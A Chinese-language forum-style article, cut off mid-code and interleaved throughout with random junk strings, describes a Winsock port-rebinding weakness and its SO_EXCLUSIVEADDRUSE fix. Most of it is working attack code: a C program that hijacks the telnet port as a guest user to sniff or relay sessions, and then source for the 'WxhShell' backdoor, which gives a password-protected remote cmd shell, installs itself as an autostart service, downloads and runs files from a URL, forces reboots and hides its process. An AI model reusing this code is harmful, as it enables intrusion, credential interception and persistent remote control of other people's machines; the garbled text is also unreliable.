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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @2)t#~Wc4h s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @&/s~3 (jD'+ "? saddr.sin_family = AF_INET;
zZS>+O J
r=REa0 saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^p{A!I! <L[T'ZE+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jAD+:@ m9\@kA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z36brv<_'p -6.i\
B 这意味着什么?意味着可以进行如下的攻击: {o Q(<&Aw =*@MQ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5]A$P\7~1 fU\k?'x_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m^W*[^p ~N)( ^ 4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (MF+/fi @S/g,;7" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 44<9zHK H5F\-&cq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [a#?}(( ?uNTUU, 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4i ~eTb #`fi2K&]j 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0:7v/S!: `8$:F4%P #include r&H=i #include IG2 `9rR #include ?0 KiR? #include E7d~# DWORD WINAPI ClientThread(LPVOID lpParam); 2ID*U d* int main() y@2vY[)3s { #U\&i` WORD wVersionRequested; Huc3|~9 DWORD ret; _RA{SO WSADATA wsaData; b<29wL1 BOOL val; ^?sSsHz SOCKADDR_IN saddr; VuJfo9 `E SOCKADDR_IN scaddr; e>ZbZy? int err; E-5ij,bHv3 SOCKET s; ntA[[OIFO SOCKET sc; sK"" int caddsize; tS_xa HANDLE mt; .P|+oYT&g DWORD tid; k8Su/U wVersionRequested = MAKEWORD( 2, 2 ); 8M".o n err = WSAStartup( wVersionRequested, &wsaData ); "G i+zkVm if ( err != 0 ) { ~:ub printf("error!WSAStartup failed!\n"); B J:E,P`_ return -1; A$H+4L } #2ZrdD"5kQ saddr.sin_family = AF_INET; 9^b7jw )n[`Z# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;Wfv+]n9 l"~h1xk~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }QApeZd+q saddr.sin_port = htons(23); !"o1ve`{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N>F2
c)rm { On2Vf*G@| printf("error!socket failed!\n"); ~8Dd<4?F] return -1; M;S-ESQ } U&d-? PI val = TRUE; ^=-*L
3f //SO_REUSEADDR选项就是可以实现端口重绑定的 k`iq<b if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Kc-A-P &Ry { fed[^wW printf("error!setsockopt failed!\n"); ATXx?
b8h return -1; mTb2d?NS } L&3Ar' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !)51v { //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W~+!"^<n //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g[D,\ zn?a|kt if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '%eaK_+7 { ^}Dv$\;6 ret=GetLastError(); |+$j(YuH printf("error!bind failed!\n"); vt(}ga return -1; F_M~!]<na } Xx9~ listen(s,2); ~YT>:Np while(1) (`uC"M Lk { o<Rxt
*B caddsize = sizeof(scaddr); ,Rr&. //接受连接请求 }ii]cY sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =vqE=:X6 if(sc!=INVALID_SOCKET) &s6(3k { ?SsRN jeL mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 46.q anh if(mt==NULL) I;|5C=! { [u9S+:7" printf("Thread Creat Failed!\n"); B#Oc8`1Y break; d@q t%r3; } Tr}$Pb1 } ^JF_;~C CloseHandle(mt); gYH:EuY, } S#%JSQo: closesocket(s); pFv[z':&Q WSACleanup(); >/OXC+=^4 return 0; _
/28Cw } K&"Pm9
DWORD WINAPI ClientThread(LPVOID lpParam) );/5#b@<Y { RGPU~L SOCKET ss = (SOCKET)lpParam; e&a[k SOCKET sc; >a anLLO unsigned char buf[4096]; Spr:K, SOCKADDR_IN saddr; !\D]\|Bo long num; )1tnZ=& DWORD val; ;6&=]I DWORD ret; Y$`hudJ& //如果是隐藏端口应用的话,可以在此处加一些判断 dO4U9{+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 c_8 mQ saddr.sin_family = AF_INET; ;HLMU36q saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <J_,9&\J saddr.sin_port = htons(23); 77=y!SDP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C6=;(=?C { 'm p{O printf("error!socket failed!\n"); .5Z@5g` return -1; +EB,7<5< } 0.+Z;j val = 100; g9r5t'; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W0?Y%Da(4m { O'sr[ ret = GetLastError(); d=5}^v#4 return -1; .]P;fCQmM } cwD*>[j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [@l
v]+@ { Qmc;s{-r; ret = GetLastError(); .Mft+," return -1; `\u),$ } [{!j9E?( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $E@.G1T [ { -9<yB printf("error!socket connect failed!\n"); ,tv9+n@x closesocket(sc); Ai_|) closesocket(ss); Qc
=lf$ return -1; 8!fAv$g0 } hu*>B while(1) %IH|zSr)EM { 9oau_Q# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )1yUV*6 //如果是嗅探内容的话,可以再此处进行内容分析和记录 ujHzG}2z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZtK%b+MBP num = recv(ss,buf,4096,0); p 2f
WL if(num>0) KL\=:iWA send(sc,buf,num,0); NVh>Q>B$_ else if(num==0) 6%hEs6-R break; [,?A$Z*Z| num = recv(sc,buf,4096,0); f+88R=-u6S if(num>0) .$s|T send(ss,buf,num,0); nF
y7gA| else if(num==0) xbH!:R; break; $8 ww]}K } A5H8+gATK closesocket(ss); cW|Zgz8vv closesocket(sc); lG^nT return 0 ; 7/$Z7J!k } X%\6V;zR# 3'@jRK +z?f,`.* ========================================================== ]X;*\- !rmo*-=^= 下边附上一个代码,,WXhSHELL ?;7>`F6ld ]be2jQx3 ========================================================== gl{PLLe[} Dq1XZ%8 #include "stdafx.h" 7}7C0mV3 -#z'A #include <stdio.h> Evgq}3 #include <string.h> ~=gH7V #include <windows.h> E0%Y%PQ**{ #include <winsock2.h> E6\~/=X=% #include <winsvc.h> ?U[nYp}"v #include <urlmon.h> $W]guG 48*pKbbM4 #pragma comment (lib, "Ws2_32.lib") QL!+.y% #pragma comment (lib, "urlmon.lib") ;xC~{O 3T^dgWXEG #define MAX_USER 100 // 最大客户端连接数 >N"PLSY1 #define BUF_SOCK 200 // sock buffer MBrVh6z> #define KEY_BUFF 255 // 输入 buffer pY5HW2TsY| @uD{`@[ #define REBOOT 0 // 重启 z`{zqP: #define SHUTDOWN 1 // 关机 l]=$< EF{'J8AQ #define DEF_PORT 5000 // 监听端口 <g1hdF0 yFtf~8s3 #define REG_LEN 16 // 注册表键长度 T:5%sN;#O #define SVC_LEN 80 // NT服务名长度 siZ_JJW L. ?dI82c // 从dll定义API gx
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typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W
9MZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m&c(N typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4gt "dfy+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ON!G{=7 l'8wPmy%N // wxhshell配置信息 i_^NbC struct WSCFG { $d[:4h~ int ws_port; // 监听端口 B>21A9& char ws_passstr[REG_LEN]; // 口令 `r$WInsDu int ws_autoins; // 安装标记, 1=yes 0=no UoT}m^ G char ws_regname[REG_LEN]; // 注册表键名 ITPpT char ws_svcname[REG_LEN]; // 服务名 JNCtsfd char ws_svcdisp[SVC_LEN]; // 服务显示名 w:(7fu= char ws_svcdesc[SVC_LEN]; // 服务描述信息 ExU|EN- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8ngf(#_{_n int ws_downexe; // 下载执行标记, 1=yes 0=no vK~KeZ\,p= char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 4?uG> ;V char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UwT$IKR [`dipLkr }; %+J*oFwQu S*@0%|Q4r // default Wxhshell configuration U MIZ:*j struct WSCFG wscfg={DEF_PORT, T<GD !j( "xuhuanlingzhe", 7OHw/-j\ 1, nOzTHg8 "Wxhshell", |H@p^.; "Wxhshell", 84cH|j`w "WxhShell Service", 4u7>NQUDu "Wrsky Windows CmdShell Service", nL~
b "Please Input Your Password: ", m(]IxI 1, \,t<{p_Q " http://www.wrsky.com/wxhshell.exe", ?MB nnyo6 "Wxhshell.exe" h(up1(x }; >?FCv7qN P$(}}@ // 消息定义模块 l_EI7mJ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nP5fh_/ char *msg_ws_prompt="\n\r? for help\n\r#>"; E.9k%%X] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; >xgd< char *msg_ws_ext="\n\rExit."; ywte\} char *msg_ws_end="\n\rQuit."; zf u78 char *msg_ws_boot="\n\rReboot..."; !~v>&bCG>9 char *msg_ws_poff="\n\rShutdown..."; lNAHn<ht char *msg_ws_down="\n\rSave to "; GrC")Z|3u xc?<:h" char *msg_ws_err="\n\rErr!"; L\DaZ(Y char *msg_ws_ok="\n\rOK!"; ZZ7U^#RT R0'EoX char ExeFile[MAX_PATH]; 3J<,2 int nUser = 0; ry"zec
B HANDLE handles[MAX_USER]; ;_\P;s int OsIsNt; p7er04/}\ Y1IlH8+0 SERVICE_STATUS serviceStatus; YZ@-0_Z SERVICE_STATUS_HANDLE hServiceStatusHandle; @Iu-F4YT :DJ@HY // 函数声明 ,pzCJ@5 int Install(void); =oJiNM5_u int Uninstall(void); gG>>ynn int DownloadFile(char *sURL, SOCKET wsh);
V;jz0B int Boot(int flag); Gy%e%' void HideProc(void); ibyA~YUN/ int GetOsVer(void); p6'8l~W+ int Wxhshell(SOCKET wsl); ^cm^JyS) void TalkWithClient(void *cs); P_U-R%f int CmdShell(SOCKET sock); X Rn=;gK%J int StartFromService(void); $(U|JR@ int StartWxhshell(LPSTR lpCmdLine); ): 6d_g{2 `Fj(g!` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _L":Wux VOID WINAPI NTServiceHandler( DWORD fdwControl ); nCU4a1rZ se[};t: // 数据结构和表定义 x#D=?/~/Kv SERVICE_TABLE_ENTRY DispatchTable[] = <h({+N { HV@:!zM {wscfg.ws_svcname, NTServiceMain}, cht#~d {NULL, NULL} 7_,gAE:kG }; oWmla*nCKL Sls>
OIc // 自我安装 }JD(e}8$! int Install(void) 'Nh^SbD+_| { ]_s]Q_+E char svExeFile[MAX_PATH]; jTnu! H2o HKEY key; o9i\[Ul strcpy(svExeFile,ExeFile); i7FEjjGtG
Xc!w
y9m // 如果是win9x系统,修改注册表设为自启动 _Gu ;U@ if(!OsIsNt) { &,zeBFmc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \!r^6'A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c+JlM1p@ RegCloseKey(key); `;;!>rm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -g0>>{M' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i(WWF#N5 RegCloseKey(key); 2xX7dl(cC return 0; J5k% } iwbjjQPr } V~;YV]1Y } S4w/
kml3 else { VZ8L9h<{" ,P}c92; // 如果是NT以上系统,安装为系统服务 L6m'u6:1{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #XsqTK_nk if (schSCManager!=0) Fr~xN!
{ ?@_dx=su SC_HANDLE schService = CreateService Gsb]e ( {8' 5 schSCManager, Q*I/mUP&f wscfg.ws_svcname, p.G7Cs wscfg.ws_svcdisp, X_lNnk SERVICE_ALL_ACCESS, nB.p}k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]arP6iN+ SERVICE_AUTO_START, {#vo^& B SERVICE_ERROR_NORMAL, :O7J9K| svExeFile, _PIk,!< NULL, d1-QkW^0y NULL, P1t5-q NULL, /SiQw7yp% NULL, `JRdOe NULL STI8[e7{ ); "P6MLf1 if (schService!=0) qVfOf\x.e { 7$ 'ja CloseServiceHandle(schService); <t8}) CloseServiceHandle(schSCManager); 1n^xVk-G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0^+W"O strcat(svExeFile,wscfg.ws_svcname); OHU(?TBo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >(3y(1; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5q\]] LV> RegCloseKey(key); hYLu return 0; ]?^mb n } ,q4 Y
N-3 } D3]_AS&\ CloseServiceHandle(schSCManager); W|:WAxJ*d } QZX+E } WDcjj1`l
~Y{K^:wN^ return 1; ~%]+5^Ka] } O_~\$b ){v nmJJ% // 自我卸载 -{dwLl_ int Uninstall(void) 7*sB"_U2 { Qi9SN00F. HKEY key; RW'QU`N[Y >1YJETysO if(!OsIsNt) { JH 8^ZP:d' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r;-\z(h RegDeleteValue(key,wscfg.ws_regname); @ Fu|et RegCloseKey(key); #(%6urd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QgP
UP[ RegDeleteValue(key,wscfg.ws_regname); ~!I
\{( RegCloseKey(key); Z',pQ{rD return 0; 7>#74oy } d4lEd>Ni } N)QW$iw9 } >6c{CYuT else { #<{sP0v* ,ecFHkT> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]\{EUx9 if (schSCManager!=0) _o;alt { L~\Ir SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j
sm{|' if (schService!=0) 2gA6$s7 { _T1|_9b if(DeleteService(schService)!=0) { :p89J\ CloseServiceHandle(schService); _f/6bpv CloseServiceHandle(schSCManager); biQDupTz return 0; D_g+O"];P } [j):2 CloseServiceHandle(schService); -{^Gzui } vForj*Xo CloseServiceHandle(schSCManager); b^0=X!bg } q%nWBmPZ~y } BRzrtK flRok?iF return 1; Gx!Y
4Q}- } o<Q~pd#Ip, Wh,p$|vL // 从指定url下载文件 `rvS(p[s int DownloadFile(char *sURL, SOCKET wsh) HUZI7rC[=) { ^]K_k7`I HRESULT hr; ,#nyEE char seps[]= "/"; svN&~@l char *token; y6fYNB char *file; @PutUYz char myURL[MAX_PATH]; <d8Yk>R char myFILE[MAX_PATH]; i6aM}p< `2G 0B@ strcpy(myURL,sURL); `j9 ;9^ token=strtok(myURL,seps); A2..gs/ while(token!=NULL) dj 4:r!5_ { 29:] cL(5 file=token; o!: token=strtok(NULL,seps); K1Mn_)% } U 1vZr{\ b:2#3;) GetCurrentDirectory(MAX_PATH,myFILE); A|7%j0T strcat(myFILE, "\\"); m;'ebkq strcat(myFILE, file); w=,bF$:fIW send(wsh,myFILE,strlen(myFILE),0); S/V%<<[>p] send(wsh,"...",3,0); 1GE[*$vuq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =XVw{\#9 b if(hr==S_OK) +JsMYv return 0; Dc2H<=]; else \<TWy&2& return 1; +xp)la. m9 1Gc?c } @kd`9Yw h:xvnyaI // 系统电源模块 <v%Q|r int Boot(int flag) 0-6rIdDTM { :pq+SifP HANDLE hToken; -e(e;e TOKEN_PRIVILEGES tkp;
Z/RSZ- K|]/BjB/ if(OsIsNt) { s+DOr$\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 508v:?^' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L xP%o tkp.PrivilegeCount = 1; 1R-WJph tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7_HFQT1.N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^VOFkUp) if(flag==REBOOT) { evjj~xkte if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sFt"2TVr3 return 0; 6Z.Fyte } %vUY|3G else { tnE), if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FF #T"y0Y return 0; k'QI`@l&l } @q]4]U) } 6+!$x?5|NP else { -!q^/ux if(flag==REBOOT) { - ({h @ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !y+uQ_IS@ return 0; x n?$@ } 4(
$p8J else { MQ#k`b#() if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2)hfYLi return 0; Y O&@ } ]n}aePl}oU } SP.k]@P 0RgE~x!hI return 1; F_G .$aCc } fJOwE
g| b+1!qNuCW# // win9x进程隐藏模块 1%ENgb:8 void HideProc(void) L+N\B@ 0- { bbM^J &+ "<ia( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xpX<iT>5u if ( hKernel != NULL ) oz:"w
nX { ;.'?(iEB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zzK<>@c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ClG\Kpirh FreeLibrary(hKernel); $GP66Ev } !0dQfj^_ %_."JT$v{ return; [Do^EJ } kDol 1v` ;4l8Qg
7 // 获取操作系统版本 C~egF=w int GetOsVer(void) p#).;\M { l`.z^+!8@ OSVERSIONINFO winfo; >TMd1?, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @Ddz|4 vEi GetVersionEx(&winfo); !KMl'kswe: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U0t|i'Hx return 1; " i:[|7 else !m^;wkrY return 0; 8tQ;N' } e8rZP(g&g 0N^+d,Xt. // 客户端句柄模块 U$mDAi$ int Wxhshell(SOCKET wsl) [I=|"Ic~ { {.542}A SOCKET wsh; <Y."()}GeH struct sockaddr_in client; V:w%5'^3 DWORD myID; _aR{B-E pJx7S sW while(nUser<MAX_USER) S=ZZ[E_~S { ]Cj@",/3# int nSize=sizeof(client); E/g"}yR wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h~7#$i if(wsh==INVALID_SOCKET) return 1; & ?x R *#'j0;2F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5]>*0#C
S if(handles[nUser]==0) @oE
5JM closesocket(wsh); &nP0T-T5y else 5afD;0D5TI nUser++; /1MmOB } "aOs#4N WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0K[]UU=P= BbI%tmA7 return 0; b%0p<*:a/ } 2uOYuM[7gH (oi:lC@h* // 关闭 socket h{gFqkDoTI void CloseIt(SOCKET wsh) `wXK&R<` { ]:OrGD" closesocket(wsh); B~w$j/sWU nUser--; ,U3 ExitThread(0); N$6e KJ] } I)rO| ;.V/ngaj // 客户端请求句柄 .JPN '; void TalkWithClient(void *cs) IplOXD { *Jgi=,!m >x{("``D0y SOCKET wsh=(SOCKET)cs; )GkJ%o#H2 char pwd[SVC_LEN]; T9
/;$6s* char cmd[KEY_BUFF]; cc|W1,q char chr[1]; 7pm'b,J< int i,j; r }lGcG) N[po)}hp while (nUser < MAX_USER) { k5I;Y:~` !BsQJ_H if(wscfg.ws_passstr) { ~Jk&!IE2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ +SE_ -+] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7q+D}+ Xf //ZeroMemory(pwd,KEY_BUFF); 1(gs({ i=0; hyH[`wiq while(i<SVC_LEN) { zY*9M3(X k
ucbI_ // 设置超时
ECOJ .^ fd_set FdRead; 8@t8P5(vL struct timeval TimeOut; K6kz{R%` FD_ZERO(&FdRead); oZa'cZNs FD_SET(wsh,&FdRead); J,F1Xmr4 TimeOut.tv_sec=8; wM+1/[7 TimeOut.tv_usec=0; 4.!1odKp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); } ?j5V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @@AL@.* w}ji]V} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zz0bd473k? pwd =chr[0]; FJ_7<4ET if(chr[0]==0xd || chr[0]==0xa) { <rBW6o7 pwd=0; \rS*\g:i break; L,}'ST } z&6_}{2,] i++; IrMHAM5K } G-d7}Uz? jE*{^+n
// 如果是非法用户,关闭 socket h}
`v0E if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l=E86"m } A7%d lU{)%4e` send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n 9B5D:.G send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +V4)>< #*o0n>O while(1) { QTy=VLk43 <T}^:2G| ZeroMemory(cmd,KEY_BUFF); 6:zPWJB [E1qv; // 自动支持客户端 telnet标准 WXy8<?s j=0; \ %Mcvb.? while(j<KEY_BUFF) { 8!E.3'jb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V$?6%\M^* cmd[j]=chr[0]; S(gr>eC5 if(chr[0]==0xa || chr[0]==0xd) { =I# pXL cmd[j]=0; C%z)D1- break; |0n )U( }
@ap!3o8,9 j++; 2lTt } ^&qK\m_A "`qk}n- // 下载文件
7kLurv if(strstr(cmd,"http://")) { 8 0tA5AP send(wsh,msg_ws_down,strlen(msg_ws_down),0); wW%b~JX if(DownloadFile(cmd,wsh)) ~<[+!&<U send(wsh,msg_ws_err,strlen(msg_ws_err),0); t]h_w7!U else "*bLFORkq' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s<!A<+Sh } "V[j&B)P else { >V"{]v L1SX2F8 switch(cmd[0]) { ),x0G*oebj [U&k"s? // 帮助 pr<u
5 case '?': { Cog }a send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "yu{b]AU break; MSCH6R"5 } j,OA>{-$ // 安装 TAYh#T=S case 'i': { Nw"df=,{ if(Install()) OeQ[-e send(wsh,msg_ws_err,strlen(msg_ws_err),0); \'2rs152 else <V^o.4mOg> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HM% +Y47a break; U^_\V BAk } 1K/HVj+'. // 卸载 ?8O5%IrJ case 'r': { g:!U,<C^a if(Uninstall()) (-S^L'v62v send(wsh,msg_ws_err,strlen(msg_ws_err),0); z};|.N} else ja9u?UbW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]!TE break; bPTtA;u } dk7x<$h-h0 // 显示 wxhshell 所在路径 /`m*PgJ case 'p': { ;Rv WF ) char svExeFile[MAX_PATH]; o(tJc}Mh+( strcpy(svExeFile,"\n\r"); w[GEm,ZC strcat(svExeFile,ExeFile); Zq4%O7% send(wsh,svExeFile,strlen(svExeFile),0); AWcbbj6Nd break; #x.v)S } f/dJRcDl< // 重启 !60U^\ case 'b': { ndFVP;q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "M:ui0YP if(Boot(REBOOT)) \`y:#N<c send(wsh,msg_ws_err,strlen(msg_ws_err),0); N8nt2r<h else { X+Sqw5rH closesocket(wsh); (VO'Kd ExitThread(0); Z(q]rX5" } !>F70 break; GbLHzw } ^x0N]/ // 关机 6|=]i-8 case 'd': { k{r<S|PK0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;=joQWNDm if(Boot(SHUTDOWN)) Xm# +Z`|N send(wsh,msg_ws_err,strlen(msg_ws_err),0); q]1p Q)\'p else { *$O5.`] closesocket(wsh); Lx_Jw\YO ExitThread(0); qb;b.P?~D$ } @tSB^&jUWu break; |cd"cx+ } W$X/8K bn // 获取shell s/ABT.ZO case 's': { 8Y-*rpLy CmdShell(wsh); +tk`$g closesocket(wsh); Z,p@toj' ExitThread(0); d%I7OBBx@ break; o~'p&f } ^Zvb3RJ g // 退出 Wu6'm&t case 'x': { Lv@WI6DM
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UIU Pi
gd CloseIt(wsh); m=n79]b:N break; RR=WD -l } -\p&18K# // 离开 Fah6
&a case 'q': { V]Te_ >E;w send(wsh,msg_ws_end,strlen(msg_ws_end),0); J#Q>dC7 closesocket(wsh); :^W}$7$T WSACleanup(); <cZ/_+H%C exit(1); >&\.{ aj break; }bRn&)e } ITl>HlS } p9jC-&: } (Q*x"G#4> V0D&bN* // 提示信息 8Vz!zYl if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @_t=0Rc } FI: H/e5[ } Zrwd jv v= return; +UWv }| } 'C}ku>B_r -'O|D} // shell模块句柄 \A^8KVE! int CmdShell(SOCKET sock) (Zx--2lc { q~#>MB}". STARTUPINFO si; _N:$|O# ZeroMemory(&si,sizeof(si)); '+Jy//5? si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v5@4|u3ds si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0Sk~m4fj( PROCESS_INFORMATION ProcessInfo; w;Azxcw char cmdline[]="cmd"; ]O}e{Q> CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XzIC~} return 0; i`52tH y_ } ie[X7$@ dLGHbeZ[( // 自身启动模式 9BP'[SM%), int StartFromService(void) gJp6ReZ# { O`Qke
Z} typedef struct T*@o?U { J0vQqTaT DWORD ExitStatus; P(yLRc DWORD PebBaseAddress; Wgs6}1bg DWORD AffinityMask; sMAj?]hI$ DWORD BasePriority; Q_p&~ PNy5 ULONG UniqueProcessId; iz;5: ULONG InheritedFromUniqueProcessId; /JRZ?/<1 } PROCESS_BASIC_INFORMATION; |%5pzYe Id^q!4Th9 PROCNTQSIP NtQueryInformationProcess; DZmVm['l x0)=jp '
